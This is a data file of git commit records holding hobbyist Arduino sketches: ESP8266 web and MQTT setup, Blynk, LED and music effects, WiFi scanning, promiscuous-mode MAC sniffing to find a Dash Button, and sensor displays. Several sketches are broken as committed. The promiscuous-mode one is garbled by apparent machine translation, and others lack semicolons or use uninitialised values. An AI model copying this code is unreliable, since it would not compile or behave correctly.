http_server.uri();\n message += \"\\nMethod: \";\n message += (http_server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n message += \"\\nArguments: \";\n message += http_server.args();\n message += \"\\n\";\n for (uint8_t i = 0; i < http_server.args(); i++) {\n message += \" \" + http_server.argName(i) + \": \" + http_server.arg(i) + \"\\n\";\n }\n http_server.send(404, \"text\/plain\", message);\n digitalWrite(led, 0);\n}\n\n\n\/\/ ---------\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\n\nvoid setup_network(void) {\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (mdns.begin(\"esp8266\", WiFi.localIP())) {\n Serial.println(\"MDNS responder started\");\n }\n\n http_server.on(\"\/\", handleRoot);\n http_server.on(\"\/configure\/\", handleConfig);\n http_server.onNotFound(handleNotFound);\n\n http_server.begin();\n Serial.println(\"HTTP server started\");\n\n\n mqtt_client.set_callback(mqtt_callback);\n if (mqtt_client.connect(\"esp8266\")) {\n mqtt_client.publish(\"homeautomation\/announce\/esp8266\", mac_address);\n mqtt_client.subscribe(\"homeautomation\/configure\/\" + mac_address);\n } \n}\n\nvoid setup(void) {\n pinMode(led, OUTPUT);\n digitalWrite(led, 0);\n Serial.begin(115200);\n\n readConfig();\n \n WiFi.begin(ssid, password);\n Serial.println(\"\");\n\n\n uint8_t mac[6];\n WiFi.macAddress(mac);\n mac_address = macToStr(mac);\n\n setup_network();\n}\n\nvoid loop(void) {\n http_server.handleClient();\n mqtt_client.loop();\n\n if (WiFi.status() != WL_CONNECTED) {\n setup_network();\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"91d7731ea16e0687be280003d4d8aeacfde9067a","subject":"Add sync example","message":"Add sync example\n","repos":"ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/GettingStarted\/Sync\/Sync.ino","new_file":"examples\/GettingStarted\/Sync\/Sync.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * You can synchronize\n *\n * App dashboard setup:\n * Slider widget (0...100) on V0\n * Slider widget (0...100) on V2\n * Button widget on digital pin (conneced to an LED)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n}\n\n\/\/ Keep this flag not to re-sync on every reconnection\nbool isFirstConnect = true;\n\n\/\/ This function will run every time Blynk connection is established\nBLYNK_CONNECTED() {\n if (isFirstConnect) {\n Blynk.syncFromServer();\n isFirstConnect = false;\n }\n \n \/\/ You can also update some virtual pin\n \/\/ I'll push uptime, just for this example\n int value = millis()\/1000;\n Blynk.virtualWrite(V2, value);\n}\n\nBLYNK_WRITE(V0)\n{\n int value = param.asInt();\n Blynk.virtualWrite(V2, value);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GettingStarted\/Sync\/Sync.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1f4582c12ba9eb193e662cca4262b2935bee21ac","subject":"add music and effects demo -- thanks Shi Cheng Lim!","message":"add music and effects demo -- thanks Shi Cheng Lim!\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/2.Effects\/4_MusicAndEffects\/MusicAndEffects.ino","new_file":"examples-ltc\/2.Effects\/4_MusicAndEffects\/MusicAndEffects.ino","new_contents":"\/\/ Love to Code\n\n\/\/ Music and light effects template: play music on one pin while flashing lights on the others\n\/\/ Music code retrieved from http:\/\/www.instructables.com\/id\/Arduino-Tone-Music\/\n \n\/\/ Effects Template\nenum effects { CONSTANT = 0, FADE = 1, HEARTBEAT = 2, TWINKLE = 3 }; \/\/ don't delete this line!\n\n\/\/\/\/\/\/ configuration \/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/ PICK YOUR EFFECT AND SPEED HERE\n\/\/\/\/\/\/ choose one of CONSTANT, FADE, HEARTBEAT, TWINKLE\n\/\/\/\/\/\/ and a speed from 1 to 25 (higher is faster)\n\/\/\/\/\/\/ See advanced_settings() below for more options\nint pin0_effect = HEARTBEAT;\nint pin0_speed = 4;\n\nint pin1_effect = HEARTBEAT;\nint pin1_speed = 1;\n\nint pin2_effect = TWINKLE;\nint pin2_speed = 3;\n\nint pin3_effect = FADE;\nint pin3_speed = 4;\n\nint pin4_effect = FADE;\nint pin4_speed = 3;\n\nint pin5_effect = HEARTBEAT;\nint pin5_speed = 5;\n\n\/\/\/\/\/\/\/\/\/\/\/\/ Music Template\nint speaker_pin = 3; \/\/ Speaker connected to which pin?\n\/\/ note that whichever pin is selected for music will automatically have its effect removed\n\nint octave = 4; \/\/ note octave (initialized at octave 4)\nint dur = 1500\/4; \/\/ note duration (initialized at quarter note duration)\nint music_pause = 2; \/\/ number of seconds to wait before looping the song\n\nconst char tune[] = \/\/ happy birthday!\n\t\t \"r r 4a4. a4 b4 a4 5d4 c#2 \"\n\t\t \"4a4. a4 b4 a2 5e4 d4 \"\n\t\t \"4a4. a4 5a f#4 d4 c#4 4b4 \"\n\t\t \"5g4. g4 f#4 d4 e4 d2 \";\n\n\/* _______________________________________________\n | MUSIC NOTATION FORMAT |\n | Example: 3c#4. |\n | means 3 octave, C sharp quarter note, dotted | \n | |\n | 1 = whole note, 2= 1\/2, 4 = 1\/4, 8 = 1\/8, |\n | 16 = 1\/16 Dotted notes are duration + 1\/2 |\n | |\n | RESTS: Example r4 = quarter rest etc. |\n | |\n | Note: it is not necessary to enter octave or |\n | note duration for each note, unless the |\n | octave or duration changes from the previous |\n | note. |\n |______________________________________________|*\/\n\n\n\n\n\n#include \"Arduino.h\"\n#include \"ChibiOS.h\" \/\/ needed for multithreading\n#include <stdio.h> \/\/ standard library for input \/ output\n#include <string.h> \/\/ functions for string operations \n#include <ctype.h> \/\/ functions that operate on single byte characters\n\n\nstruct effects_thread_arg { uint8_t effect; uint8_t speed; uint8_t pin; uint8_t brightness; uint8_t randomness; };\nstatic effects_thread_arg pin[6];\n\nvoid advanced_settings() {\n \/\/\/\/\/\/ brightness from 0 to 100 (100 is brighter)\n \/\/\/\/\/\/ randomness from 0 to 100 (100 is more random)\n pin[0].brightness = 100;\n pin[0].randomness = 0;\n \n pin[1].brightness = 100;\n pin[1].randomness = 0;\n \n pin[2].brightness = 100;\n pin[2].randomness = 0;\n \n pin[3].brightness = 100;\n pin[3].randomness = 0;\n \n pin[4].brightness = 100;\n pin[4].randomness = 0;\n \n pin[5].brightness = 100;\n pin[5].randomness = 0;\n}\n\n\/\/ ARRAY OF FREQUENCIES OF MUSIC NOTES AT THE 7TH OCTAVE\n\/\/ (FREQUENCY OF 0 ADDED FOR RESTS)\nconst int frequencies[] = {2093, 2349, 2637, 2794, 3136, 3520, 3951, 0};\n\n\/\/ DIVISORS USED TO PRODUCE MUSIC NOTE FREQUENCIES AT OCTAVES 1 TO 7 \n\/\/ (1 IS DIVISOR FOR RESTS)\nconst int divisors[] = {128,64,32,16,8,4,2,1}; \n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ implementation below\n\/\/\/\/\/\/\/\/\/\/\/\/\/\nstatic thread_t *light_threads[6];\n \nstatic int fade_to(int current, int target, int rate, int pin, int pause, int randomness, int brightness) {\n int r;\n while( abs(current - target) > rate ) {\n analogWrite(pin, map(current, 0, 255, 0, brightness));\n current = current + ((target - current) > 0 ? rate : - rate);\n r = random(0, 100);\n if( r < randomness ) {\n if( r % 2 ) {\n\tif( pause - 1 > 0 )\n\t delay( pause - 1 );\n } else {\n\tdelay( pause + 1 );\n }\n } else {\n delay(pause);\n }\n }\n current = target; \/\/ handle cases where target and rate aren't multiples of 255\n analogWrite(pin, current);\n return current;\n}\n\nstatic void blink_effect(struct effects_thread_arg *cfg) {\n fade_to( 0, 255, cfg->speed, cfg->pin, 7, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255) );\n fade_to( 255, 0, cfg->speed, cfg->pin, 7, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255) );\n}\n\nstatic void twinkle_effect(struct effects_thread_arg *cfg) {\n int current = 128;\n while(1) {\n current = fade_to(current, random(0, 255), cfg->speed, cfg->pin, 3, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255));\n }\n}\n\nstatic void heartbeat_effect(struct effects_thread_arg *cfg) {\n int current = 0;\n if( cfg->speed > 25 )\n cfg->speed = 25;\n \n current = fade_to(current, 192, 2, cfg->pin, 1, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255));\n current = fade_to(current, 4, 2, cfg->pin, 1, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255));\n delay(40); \/\/ fastest rate\n delay( (25 - cfg->speed) * 13 + 1 );\n \/\/delay(180);\n current = fade_to(current, 255, 2, cfg->pin, 1, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255));\n current = fade_to(current, 0, 2, cfg->pin, 1, cfg->randomness, map(cfg->brightness, 0, 100, 0, 255));\n digitalWrite(cfg->pin, 0);\n delay(107); \/\/ fastest rate\n delay( (25 - cfg->speed) * 37 + 1 );\n \/\/delay(420);\n}\n\nstatic void effects_thread(void *arg) {\n struct effects_thread_arg *cfg = (struct effects_thread_arg *)arg;\n while (1) {\n switch (cfg->effect) {\n case CONSTANT: exitThread(0); return;\n case FADE: blink_effect(cfg); break;\n case HEARTBEAT: heartbeat_effect(cfg); break;\n case TWINKLE: twinkle_effect(cfg); break;\n default: exitThread(0); return;\n }\n }\n}\n\n \/*_____________________________________________________________________________\n | noteIndex FUNCTION |\n | Given a character representing a note, returns the position in the octave. |\n | Example: 'C' => 0, 'D' => 1, 'E' => 2, plus 'R' for rest => 1 |\n | Returns -1 on error |\n |____________________________________________________________________________|*\/\n \nint noteIndex(char note)\n{\n const char notes[] = {'C', 'D', 'E', 'F', 'G', 'A', 'B', 'R'};\n const int noteCount = 8;\n for (int i = 0; i < noteCount; i++)\n {\n if (toupper(note) == notes[i])\n {\n return i; \/\/ Found it at position i\n }\n }\n return -1; \/\/ didn't find it\n} \/\/ end of noteIndex function\n\n\/* ___________________________________________\n | playMusic FUNCTION |\n | This function parses the playMusic String |\n | of notes, selects each segment separated |\n | by spaces and sends each segment in |\n | sequence to the function playNote() |\n |___________________________________________|*\/\n\nvoid playMusic(String music) \n{\n int curPos=0; \/\/ current position in String\n int nextSpacePos; \/\/ position of next space character\n \n \/\/ While there is at least one more space in the string, \n \/\/ select the String segment before the space \n \/\/ and send it to playNote();\n nextSpacePos = music.indexOf(\" \",curPos);\n\n while (nextSpacePos != -1)\n {\n if (nextSpacePos > curPos) \/\/ don't send zero-length segment\n {\n \/\/ There is at least one character before the space so \n \/\/ send it to playNote()\n String note = music.substring(curPos, nextSpacePos);\n playNote(note);\n }\n \n \/\/ Move the current position forward and check for another space\n curPos = nextSpacePos + 1;\n nextSpacePos = music.indexOf(\" \", curPos);\n }\n \n \/\/ If there are any characters at the end of the string after\n \/\/ the last space, send those to playNote() too\n if (curPos < (music.length() - 1))\n {\n String note = music.substring(curPos);\n playNote(note);\n }\n return;\n} \/\/ end of playMusic() function -\n \n\n\/* _______________________________________________\n | playNote() FUNCTION |\n | Each note is the space delineated segment |\n | selected by the function playMusic() |\n | |\n | MUSIC NOTATION FORMAT |\n | Example: 3c#4. |\n | means 3 octave, C sharp quarter note, dotted | \n | |\n | 1 = whole note, 2= 1\/2, 4 = 1\/4, 8 = 1\/8, |\n | 16 = 1\/16 Dotted notes are duration + 1\/2 |\n | |\n | RESTS: Example r4 = quarter rest etc. |\n | |\n | playNote() adjusts the note frequency |\n | for octaves, accidentals (#) |\n | and dotted notes. |\n | Note: it is not necessary to enter octave or |\n | note duration for each note, unless the |\n | octave or duration changes from the previous |\n | note. |\n |______________________________________________|*\/\n \nvoid playNote(String music)\n{ \n\/\/ CHECK NOTE SEGMENT FOR VALID LENGTH\n int len = music.length();\n if ((len < 1) || (len > 6)) \n {\n return;\n }\n\n\/\/GET OCTAVE IF IT HAS CHANGED\n while (isdigit(music.charAt(0)))\n {\n octave = music.charAt(0); \n octave = octave - 48; \/\/ converts ASCII value to octave number\n music = music.substring(1); \/\/ DROP OCTAVE FROM music STRING \n }\n \n\/\/ GET NOTE INDEX (includes rests)\n int index = noteIndex(music.charAt(0));\n if (index == -1)\n { \n return; \n }\n music = music.substring(1); \/\/ DROP NOTE FROM music STRING\n \n\/\/ CALCULATE FREQUENCY\n int frequency = frequencies[index];\n frequency = frequency \/ divisors[octave];\n\n\/\/ ADJUST FREQUENCY FOR ACCIDENTALS (SHARP # or + AND FLAT -) \n if ((music.charAt(0) == '#') || (music.charAt(0) =='+')) \n { \n frequency *= 1.059;\n music = (music.substring (1)); \/\/ DROP '#' or '+' FROM music STRING\n }\n if (music.charAt(0) == '-')\n {\n frequency \/= 1.059;\n music = (music.substring (1)); \/\/ DROP FLAT '-' FROM music STRING\n } \n \n\/\/ GET DURATION\n if ((music.toInt()>0) && (music.toInt() <17)) \/\/ IF IN RANGE OF WHOLE NOTE TO SIXTEENTH NOTE\n { \n dur = (music.toInt());\n dur = 1800 \/ dur; \/\/ whole note => 1 1\/2 sec. (change to change tempo)\n }\n \n \n\/\/ ADJUST DURATION IF DOTTED NOTE \n if (music.endsWith (\".\"))\n {\n dur = dur * 1.5; \n } \n \n \/\/ ADJUST DURATION IF ~ NOTE\n if (music.endsWith (\"~\"))\n {\n dur = dur * 0.5; \n } \n \n \n \/\/ PLAY THE NOTE \n tone(speaker_pin, frequency, dur); \n delay(dur);\n\n}\/\/ end of playNote() function\n\nvoid setup(void) {\n int i;\n\n pin[0].effect = pin0_effect;\n pin[0].speed = pin0_speed;\n\n pin[1].effect = pin1_effect;\n pin[1].speed = pin1_speed;\n\n pin[2].effect = pin2_effect;\n pin[2].speed = pin2_speed;\n\n pin[3].effect = pin3_effect;\n pin[3].speed = pin3_speed;\n \n pin[4].effect = pin4_effect;\n pin[4].speed = pin4_speed;\n\n pin[5].effect = pin5_effect;\n pin[5].speed = pin5_speed;\n \n advanced_settings();\n \n for (i = 0; i < 6; i++) {\n \n if( i == speaker_pin )\n continue; \/\/ skip making a thread for the speaker pin\n \n pin[i].pin = i;\n pinMode(pin[i].pin, OUTPUT);\n digitalWrite(pin[i].pin, LOW);\n if (pin[i].effect == CONSTANT) {\n analogWrite(pin[i].pin, map(pin[i].brightness, 0, 100, 0, 255));\n continue;\n }\n\n if(pin[i].speed > 25)\n pin[i].speed = 25;\n\n delay( random(1, pin[i].randomness * 5) + 1 );\n light_threads[i] = createThreadFromHeap(32,\n 20,\n effects_thread,\n &pin[i]);\n }\n \n Serial.begin(9600); \/\/ in case we need debugging with a Chibi Scope\n pinMode(speaker_pin, OUTPUT);\n}\n\nvoid loop(void) {\n playMusic(String(tune));\n delay(music_pause * 1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/2.Effects\/4_MusicAndEffects\/MusicAndEffects.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3aeac3b5d1c7bb1d20d65802781b284410ea809d","subject":"First Commit","message":"First Commit\n","repos":"blevien\/SpektrumAuxChannel,blevien\/SpektrumAuxChannel","old_file":"SpektrumAuxChannel.ino","new_file":"SpektrumAuxChannel.ino","new_contents":"\/*\n Read pulse length from Spektrum 2.4 Ghz Reciever AUX Channel for accessory control\n*\/\n \nint greenPin = 6;\nint yellowPin = 7;\nint redPin = 8;\nint receiverPin = 9;\n\nunsigned long duration;\n\nvoid setup()\n{\n pinMode(receiverPin, INPUT);\n for (int x = 6; x <9; x++){\n pinMode(x, OUTPUT);\n }\n Serial.begin(9600);\n}\n\nvoid loop(){\n \n duration = pulseIn(receiverPin, HIGH);\n Serial.println(duration);\n \n if (duration < 1200){\n Serial.println(\"Setting A\");\n digitalWrite(greenPin, HIGH);\n digitalWrite(yellowPin, LOW);\n digitalWrite(redPin, LOW);\n\n }\n \n if (1400 < duration && duration < 1800){\n Serial.println(\"Setting B\");\n digitalWrite(greenPin, LOW);\n digitalWrite(yellowPin, HIGH);\n digitalWrite(redPin, LOW);\n\n } \n \n if (duration > 1800){\n Serial.println(\"Setting C\");\n digitalWrite(greenPin, LOW);\n digitalWrite(yellowPin, LOW);\n digitalWrite(redPin, HIGH);\n\n } \n \n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"unlicense","lang":"Arduino"} {"commit":"bf60916a2af4a1cc97faeff9564e741cf9241506","subject":"Create ESP_Promiscuous_getDashInfo.ino","message":"Create ESP_Promiscuous_getDashInfo.ino\n\nhttps:\/\/translate.googleusercontent.com\/translate_c?depth=1&hl=en&rurl=translate.google.com&sl=ja&sp=nmt1&tl=en&u=http:\/\/qiita.com\/kat-kai\/items\/3b1d5c74138d77a27c4d&usg=ALkJrhgB7Y2IpUYTW5reiapbhsdD0IBrUQ","repos":"yesnoj\/ESP8266-And-DashButton,yesnoj\/ESP8266-And-DashButton","old_file":"ESP_Promiscuous_getDashInfo.ino","new_file":"ESP_Promiscuous_getDashInfo.ino","new_contents":" #include <ESP8266WiFi.h>\n #include \"ESP_Promiscuous.h\"\n\n \/\/ necessary to use the promiscuous mode API\n extern \"C\" {\n #include <user_interface.h>\n }\n\n \/\/ WiFi connection block Reference: http: \/\/ qiita.com \/azusa9\/items\/7f78069cb09872cf6cbf\n char toSSID [] = \"SSID\" ;\n char ssidPASSWD [] = \"Password\" ;\n\n \/\/ callback when receiving packet in promiscuous mode\n static void ICACHE_FLASH_ATTR promisc_cb (uint8_t * buf , uint16_t len)\n {\n if (len = 128!) return ; \/\/ In order to discard both unknown packets and data packets\n\n struct sniffer_buf2 * sniffer = (struct sniffer_buf2 *) buf;\n struct MAC_header * mac = (struct MAC_header *) sniffer -> buf;\n\n int i;\n boolean beaconFlag = true;\n\n for (i = 0; i < 6; i ++) if (mac ->! addr2 [i] = mac -> addr3 [i]) beaconFlag = false;\n\n if (beaconFlag) return; \/\/ In order to remove beacon Packet\n\n Serial print ( \"Possible MAC Address :\");\n for (i = 0; i < 6; i ++) {\n Serial print (mac -> addr2 [i], HEX);\n Serial print ( \":\") ;\n }\n Serial println ( \"\");\n }\n\n void setup () {\n byte channel;\n Serial begin (115200);\n\n WiFi mode (WIFI_STA);\n WiFi begin (toSSID, ssidPASSWD) ;\n\n Serial print ( \"WiFi connecting. \");\n\n while (WiFi. status ()! = WL_CONNECTED) {\n delay (1000);\n Serial print ( \".\") ;\n }\n\n Serial println ( \"\");\n\n channel = wifi_get_channel ();\n Serial print ( \"Your WiFi Channel :\");\n Serial println (channel);\n WiFi disconnect ();\n\n Serial println ( \"\");\n\n Serial println ( \"ESP8266 promiscuous mode started.\");\n Serial println ( \"Please push Amazon Dash Button\");\n Serial println ( \"\");\n\n wifi_set_opmode (STATION_MODE);\n wifi_set_channel (channel);\n wifi_set_promiscuous_rx_cb (promisc_cb);\n\n wifi_promiscuous_enable (1);\n }\n\n void loop () {}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP_Promiscuous_getDashInfo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5d4d0c90fb775482a7ddebce12a0e5da4d6a321e","subject":"Arduino code to FFT microphone sample","message":"Arduino code to FFT microphone sample\n","repos":"pmurcutt\/SimonTheSkeleton","old_file":"SimonTheSkeleton.ino","new_file":"SimonTheSkeleton.ino","new_contents":"\/*\n\n Drive a servo based on power of vocal frequencies\n Copyright (C) 2015 P. Murcutt\n \n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n \n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n \n *\/\n#include <Servo.h> \n#include \"PlainFFT.h\"\n\nServo myservo; \/\/ create servo object to control a servo \n\/\/ a maximum of eight servo objects can be created \n\nPlainFFT FFT = PlainFFT(); \/* Create FFT object *\/\n\/* \n These values can be changed in order to evaluate the functions \n NOTE: human voice operates in 80Hz - 1kHz range\n *\/\nconst uint16_t samples = 64;\ndouble signalFrequency = 1000;\ndouble samplingFrequency = 5000;\nuint8_t signalIntensity = 100;\n\n\/*\nThe mic data is sored here to persist between loops\n*\/\ndouble waveform[samples];\n\n\/*\nThe current index of waveform\n*\/\nint waveformHead = 0;\n\n\/* \n These are the input and output vectors \n Input vectors receive computed results from FFT\n *\/\ndouble vReal[samples]; \ndouble vImag[samples];\n\n#define SCL_INDEX 0x00\n#define SCL_TIME 0x01\n#define SCL_FREQUENCY 0x02\n\n#define mic_ana_pin 1\n#define servo_pin 5\n\nvoid setup()\n{\n \/\/ attaches the servo pin to the servo object \n myservo.attach(servo_pin); \n\n \/\/zero out the waveform\n for (uint8_t i = 0; i < samples; ++i) {\n waveform[i] = 0.0;\n }\n \n \/\/start the comms\n Serial.begin(115200);\n Serial.println(\"Ready\");\n}\n\nvoid loop() \n{\n \/\/log start time\n unsigned long startMillis= millis();\n \n \/\/read mic data\n waveform[waveformHead] = analogRead(mic_ana_pin); \/\/0-1023\n \n \/\/copy waveform out\n for (uint8_t i = 0; i < samples; ++i) {\n vReal[i] = waveform[ (i + waveformHead) % samples ];\n }\n \/\/update waveformHead for next pass\n waveformHead += 1;\n waveformHead %= samples;\n\n \/\/FFT!\n \/\/PrintVector(vReal, samples, SCL_TIME);\n FFT.Windowing(vReal, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD); \/* Weigh data *\/\n \/\/PrintVector(vReal, samples, SCL_TIME);\n FFT.Compute(vReal, vImag, samples, FFT_FORWARD); \/* Compute FFT *\/\n \/\/PrintVector(vReal, samples, SCL_INDEX);\n \/\/PrintVector(vImag, samples, SCL_INDEX);\n FFT.ComplexToMagnitude(vReal, vImag, samples); \/* Compute magnitudes *\/\n \/\/PrintVector(vReal, (samples >> 1), SCL_FREQUENCY); \n \/\/double x = FFT.MajorPeak(vReal, samples, samplingFrequency);\n double x;\n \/\/extract power in system...\n \n Serial.println(x, 6);\n\n \/\/Output to servo\n myservo.write(x);\n \n \/\/log finished time & sleep for remaining of sampling time\n unsigned long stopMillis= millis();\n int32_t delayRemaining = (1000.0\/samplingFrequency) - (stopMillis - startMillis);\n if(delayRemaining > 0)\n {\n delay(delayRemaining);\n }\n}\n\nvoid PrintVector(double *vData, uint8_t bufferSize, uint8_t scaleType) \n{ \n for (uint16_t i = 0; i < bufferSize; i++) {\n double abscissa;\n \/* Print abscissa value *\/\n switch (scaleType) {\n case SCL_INDEX:\n abscissa = (i * 1.0);\n break;\n case SCL_TIME:\n abscissa = ((i * 1.0) \/ samplingFrequency);\n break;\n case SCL_FREQUENCY:\n abscissa = ((i * 1.0 * samplingFrequency) \/ samples);\n break;\n }\n Serial.print(abscissa, 6);\n Serial.print(\" \");\n Serial.print(vData[i], 4);\n Serial.println();\n }\n Serial.println();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SimonTheSkeleton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c9f055332fbd62f4220366498d0f9bfa3e481ac","subject":"Added ESP8266 code","message":"Added ESP8266 code\n","repos":"BenjaminFair\/makeathon2016","old_file":"wifi_rssi\/wifi_rssi.ino","new_file":"wifi_rssi\/wifi_rssi.ino","new_contents":"#include <Arduino.h>\n#include <ESP8266WiFi.h>\n\nconst char* SSID = \"osuwireless\";\nconst uint8_t BSSID[6] = {0x18, 0x64, 0x72, 0x50, 0x9a, 0x80};\n\n\/\/ Return RSSI or 0 if target SSID not found\nint32_t getRSSI(const char* target_ssid) {\n byte available_networks = WiFi.scanNetworks();\n\n for (int network = 0; network < available_networks; network++) {\n char received_ssid[50];\n WiFi.SSID(network).toCharArray(received_ssid, 50);\n if (strcmp(received_ssid, target_ssid) == 0) {\n bool match = true;\n for (int i = 0; i < 6; i++) {\n match = WiFi.BSSID(network)[i] ==BSSID[i];\n if (!match) break;\n }\n if (match) return WiFi.RSSI(network);\n }\n }\n return 0;\n}\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n unsigned long before = millis();\n int32_t rssi = getRSSI(SSID);\n unsigned long after = millis();\n \/\/Serial.print(\"Signal strength: \");\n Serial.println(rssi);\n \/\/Serial.println(\"dBm\");\n\n \/\/Serial.print(\"Took \");\n \/\/Serial.print(after - before);\n \/\/Serial.println(\"ms\");\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wifi_rssi\/wifi_rssi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bcd37d76fc42e6dd32357bcd0677500925bbb552","subject":"Initial test sketch of key input w\/builtin LED","message":"Initial test sketch of key input w\/builtin LED\n","repos":"JDWarner\/organduino","old_file":"sketches\/test_key\/test_key.ino","new_file":"sketches\/test_key\/test_key.ino","new_contents":"\/*\n key\n\n Turns on and off a light emitting diode(LED) connected to digital\n pin 13, when pressing a key attached to pin 2.\n\n This is \n\n\n The circuit:\n * LED built in to pin 13, connected to ground\n * Organ key attached to pin 2 from GND, through a 10k resistor\n * Pin 2 internal pull-up resistor activated\n\n created 2005\n by DojoDave <http:\/\/www.0j0.org>\n modified 30 Aug 2011\n by Tom Igoe\n modified 03 May 2016\n by @JDWarner\n *\/\n\n\/\/ constants won't change. They're used here to\n\/\/ set pin numbers:\nconst int keyPin = 2; \/\/ pin connected to organ key\nconst int ledPin = LED_BUILTIN; \/\/ the number of the LED pin\nbool keyState = false \/\/ the key state, starts off\nbool keyRead = false \/\/ input from digital pin\n\n\n\/\/ simple function to compare current state with new read\n\/\/ if different, state and LED are updated\n\/\/ We're using input_pullup so the switch is active when LOW!\nvoid pinchange(bool value, bool state, int pin) {\n \/\/ Compare them - state records inverse of switch read\n if (value == state) { \/\/ Equal means a change\n \/\/ Update values as needed, if needed\n value = not state;\n digitalWrite(ledPin, value);\n }\n}\n\nvoid setup() {\n \/\/ initialize the LED pin as an output\n pinMode(ledPin, OUTPUT);\n \/\/ initialize the organ key's pin as an input\n pinMode(keyPin, INPUT_PULLUP);\n}\n\nvoid loop() {\n \/\/ read the state of the key value:\n keyRead = digitalRead(keyPin);\n\n \/\/ act on it\n pinchange(keyRead, keyState, keyPin)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/test_key\/test_key.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"eb9f9376fedf6fdfb40cebf764a5731d985371cb","subject":"initial commit","message":"initial commit\n","repos":"srenner\/meguinauge","old_file":"display_afr\/display_afr.ino","new_file":"display_afr\/display_afr.ino","new_contents":"#include <LiquidCrystal.h>\n#include <math.h>\n\n\/\/RS,EN,DB4,DB5,DB6,DB7\nLiquidCrystal lcd(7, 8, 9, 10, 11, 12);\n\nbyte fill1[8] = {\n B10000,\n B10000,\n B10000,\n B10000,\n B10000,\n B10000,\n B10000,\n B10000\n};\nbyte fill2[8] = {\n B11000,\n B11000,\n B11000,\n B11000,\n B11000,\n B11000,\n B11000,\n B11000\n};\nbyte fill3[8] = {\n B11100,\n B11100,\n B11100,\n B11100,\n B11100,\n B11100,\n B11100,\n B11100\n};\nbyte fill4[8] = {\n B11110,\n B11110,\n B11110,\n B11110,\n B11110,\n B11110,\n B11110,\n B11110\n};\nbyte fill5[8] = {\n B11111,\n B11111,\n B11111,\n B11111,\n B11111,\n B11111,\n B11111,\n B11111\n};\n\nvoid setup() {\n\n lcd.createChar(0, fill1);\n lcd.createChar(1, fill2);\n lcd.createChar(2, fill3);\n lcd.createChar(3, fill4);\n lcd.createChar(4, fill5);\n \n lcd.begin(20, 4);\n lcd.print(\"AFR\");\n lcd.setCursor(0, 2);\n lcd.print(\"TGT\");\n lcd.setCursor(0,3);\n lcd.write(byte(0));\n lcd.write(byte(1));\n lcd.write(byte(2));\n lcd.write(byte(3));\n lcd.write(byte(4));\n}\n\nvoid loop() {\n double afr = 13.5;\n double tgt = 14.7;\n \n lcd.setCursor(4, 0);\n lcd.print(afr);\n lcd.setCursor(4, 2);\n lcd.print(tgt);\n \n \/\/lcd.setCursor(16,0);\n \/\/lcd.print(\"Rich\");\n 